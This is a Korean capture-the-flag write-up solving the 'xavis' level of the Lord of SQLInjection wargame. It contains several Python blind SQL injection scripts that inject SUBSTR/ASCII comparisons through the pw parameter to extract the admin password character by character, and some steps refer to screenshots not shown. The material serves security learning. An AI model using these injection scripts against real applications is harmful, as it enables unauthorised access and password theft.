[Lord of SQLInjection] Xavis Write UP
작성자 - LRTK
이번 문제의 공격 백터는 pw 파라미터 하나뿐이다.
pw의 필터링 목록을 살펴보자면, prob, _, ., (), regex, like
가 있다. 또한 addslashes 함수를 사용하기 때문에 ', ", \, Null 바이트
를 직접적인 공격에 사용을 못할 듯 싶다.
regex은 mysql 내장함수로 쿼리문에서 다양한 정규식을 사용할 수 있는 함수이다.
아마 정규식을 사용해서 pw을 알아내는 것을 방지하지 위해서 필터링을 건 듯 하다.
쿼리문을 살펴보면 select id from prob_xavis where id='admin' and pw=''
이라서, Orc 문제처럼 LENGTH 함수와 SUBSTR 함수를 이용하면 손 쉽게 admin의 pw를 획득할 수 있을거 같다.
LENGTH 함수를 이용하여 admin의 pw 길이를 알아냈다.
import requests, string
def pwParser(url:str):
headers = {'Cookie': 'PHPSESSID=bv6ctmmrf4kk5ia93e9ll61k4k'}
result = ''
for num in range(1, 12+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?pw=' or id=0x61646D696E and SUBSTR(pw,{num},1)={hex(ord(s))}%23"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'admin의 pw {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print('----------------------------------')
print(result)
if __name__ == '__main__':
url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
pwParser(url)
admin의 pw 파싱에 실패하였다.
실패한 이유를 생각해보니, “혹시 알파벳, 숫자, 특수문자로 이루진 문자열이 아닌 아스키코드에서 의미 없는 문자로 이루어진 것이 아닐까?”라는 생각을 하였다.
import requests, string
def pwParser(url:str):
headers = {'Cookie': 'PHPSESSID=bv6ctmmrf4kk5ia93e9ll61k4k'}
result = ''
for num in range(1, 12+1):
for s in range(0, 127+1):
parameter = f"?pw=' or id=0x61646D696E and ASCII(SUBSTR(pw,{num},1))={s}%23"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'admin의 pw {num}번째 값 >>>>', chr(s), s)
result += chr(s)
break
print('----------------------------------')
print(result)
if __name__ == '__main__':
url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
pwParser(url)
그래서 아스키코드표에 나온 0~127까지의 아스키코드를 모두 돌려봤지만 결과는 파싱 실패였다.
좀 더 검색을 해보니, 확장 아스키코드가 있었다.
확장 아스키코드는 ISO Latin-1으로도 불리는 것과 128~255까지 있다는 것을 알 수 있었다.
여기서 나는 “혹시 한글일 수 도 있지 않을까?” 생각을 했지만 일단 128~255까지 돌려본 다음 한글로 도전할 생각이다.
result = ''
for num in range(1, 12+1):
for s in range(128, 255+1):
parameter = f"?pw=' or id=0x61646D696E and ASCII(SUBSTR(pw,{num},1))={s}%23"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'admin의 pw {num}번째 값 >>>>', chr(s), s)
result += chr(s)
break
print('----------------------------------')
print(result)
코드가 긴거 같아서 For문 부분만 짤라서 넣었다.
하지만 이번에도 값은 나오지 않았다…
result = ''
for num in range(1, 12+1):
for s in range(44032, 55203):
parameter = f"?pw=' or id=0x61646D696E and ASCII(SUBSTR(pw,{num},1))={s}%23"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print(f'admin의 pw {num}번째 값 >>>>', chr(s), s)
result += chr(s)
break
print('----------------------------------')
print(result)
11172개를 검사하는데 어마무시한 시간이 걸렸다. 나는 30분을 대기를 했지만 첫번째 글자도 찾지 못하였다.
이 정도면 한글이 아닐 가능성도 있다고 생각이 든다.
그럼 인코딩을 신경 안쓰고 찾을 수 있는 방법을 생각을 해야한다.
나는 테스트를 위해 위와 같은 DB을 생성하였다.
그리고 pw의 길이를 확인해보니, 분명 테스트
가 9글자로 되어있다.
하지만 pw를 출력해보니, 아주 잘 나온다.
인코딩 때문에 생긴 문제로 생각이 든다. 특이한 인코딩은 정확한 글자 길이를 얻기 힘들다는 결과를 얻을 수 있었다.
한번 pw의 4번째, 8번째 값을 출력해보니, 아무 값도 나오지 않았다.
3의 길이를 벗어나면 아무 값도 없다는 것을 알 수 있었다.
이와 같이 pw의 한 자리씩 뽑아서 10진수 아스키 코드로 변형하여 또 한자리 씩 뽑아서 검사를 하면 pw를 획득할 수 있을 것 같다.
나는 아주 신박한 결과를 얻을 수 있었다.
admin의 pw 첫번째 값이 10진수 아스키코드로 0이라는 결과를 얻을 수 있었다….. 뭔가 이상하다…
일단 값이 나오니, 파이썬을 이용하여 나머지 값들도 뽑아보겠다.
보기 좋게 실패한 것 같다.
이번엔 ord 함수를 이용하여 알아내보도록 하겠다.
이번엔 희망이 보일 듯 하다.
파이썬으로 돌려보니, 50864이라는 값이 나왔다.
이것을 Python의 내장함수 chr 함수로 변환하면 우
가 나왔다….
혹시나 하고 서버에 보내보니 결과는 실패하였다.
한 자리의 비밀번호는 사실상 말이 안돼서 테스트를 더 해봤다.
아주 좋은 결과를 얻을 수 있었다.
해당 pw를 전송하니, 문제를 클리어 할 수 있었다.